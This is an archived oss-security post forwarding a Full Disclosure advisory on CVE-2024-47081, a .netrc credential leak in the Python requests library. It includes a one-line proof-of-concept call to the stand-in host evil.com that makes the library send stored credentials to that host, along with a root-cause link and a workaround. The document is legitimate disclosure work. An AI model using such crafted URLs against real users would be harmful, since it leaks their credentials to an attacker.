![]() |
|
Message-ID: <e93b9bb3-c2ac-4640-bd23-8b7d2ba1b3f8@oracle.com> Date: Tue, 3 Jun 2025 10:09:52 -0700 From: Alan Coopersmith <alan.coopersmith@...cle.com> To: oss-security@...ts.openwall.com Subject: CVE-2024-47081: Netrc credential leak in PSF requests library [I'm not sure how the attacker is supposed to get the victim to make a requests call using a URL the attacker controls, but that didn't stop them from getting a CVE issued for this. -alan- ] -------- Forwarded Message -------- Subject: [FD] CVE-2024-47081: Netrc credential leak in PSF requests library Date: Sat, 31 May 2025 06:30:50 +0000 From: Juho Forsén via Fulldisclosure <fulldisclosure@...lists.org> Reply-To: Juho Forsén <jupenur@...tonmail.ch> To: fulldisclosure@...lists.org <fulldisclosure@...lists.org> The PSF requests library (https://github.com/psf/requests & https://pypi.org/project/requests/) leaks .netrc credentials to third parties due to incorrect URL processing under specific conditions. Issuing the following API call triggers the vulnerability: requests.get('http://example.com:@evil.com/') Assuming .netrc credentials are configured for example.com, they are leaked to evil.com by the call. The root cause is https://github.com/psf/requests/blob/c65c780849563c891f35ffc98d3198b71011c012/src/requests/utils.py#L240-L245 The vulnerability was originally reported to the library maintainers on September 12, 2024, but no fix is available. CVE-2024-47081 has been reserved by GitHub for this issue. As a workaround, clients may explicitly specify the credentials used on every API call to disable .netrc access. _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Powered by blists - more mailing lists
Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.
Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.